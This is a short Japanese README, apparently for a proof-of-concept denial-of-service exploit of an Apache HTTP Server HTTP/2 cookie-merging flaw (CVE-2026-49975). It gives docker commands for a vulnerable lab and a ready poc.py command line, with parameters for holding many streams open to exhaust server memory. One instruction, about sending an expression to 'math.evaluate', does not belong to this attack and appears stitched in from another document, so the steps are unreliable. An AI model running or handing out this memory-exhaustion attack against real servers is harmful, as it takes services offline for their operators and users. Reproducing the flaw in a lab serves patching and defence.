
★ CVE-2026-49975 HTTP/2 ボム PoC ★
https://github.com/user-attachments/assets/89310771-f704-45d1-a6c3-d910de1dbc74
CVE-2026-49975 は Apache HTTP Server における サービス拒否 (DoS) の脆弱性です。 この脆弱性はHTTP/2リクエスト処理パスで発生し、複数の
cookieヘッダーフィールドがLimitRequestFieldsに対して適切にカウントされずにマージされる可能性があります。 攻撃者は、小さなHPACKエンコードされたHTTP/2リクエストを送信し、それが多くのcookieヘッダーフィールドに展開されることで、サーバーにCookieヘッダーのマージ中に繰り返しメモリを割り当てさせることができます。 攻撃者はその後、HTTP/2フロー制御を使用して応答送信を遅延させ、影響を受けるストリームを開いたままにし、割り当てられたメモリが解放されるのを防ぐことができます。
| カテゴリ | バージョン |
|---|---|
| 脆弱性あり | Apache HTTP Server 2.4.17 ≤ バージョン ≤ 2.4.67 |
| パッチ済み | Apache HTTP Server 2.4.68 以降 |
脆弱なApache HTTP Server環境をビルドして実行します。
docker build -t cve-2026-49975 .
docker run -d --name cve-2026-49975 --memory 8g -p 10081:80 cve-2026-49975
脆弱な環境を起動した後、以下の手順に従って攻撃を再現します。
docker stats cve-2026-49975
出力例:
CONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM %
xxxxxxxxxxxx cve-2026-49975 0.5% 35.2MiB / 8.0GiB 1.7%
以下の式を math.evaluate に送信します(例:アプリケーションの計算入力経由)。
python3 poc.py \
--host TARGET_IP \
--port 10081 \
--connections 10 \
--streams 100 \
--refs 4091 \
--initial-window 0 \
--hold 300 \
--drip-interval 2 \
--drip-bytes 1
攻撃ストリームが開いたままの間、Apacheコンテナのメモリ使用量が増加し、高いままであることを確認します。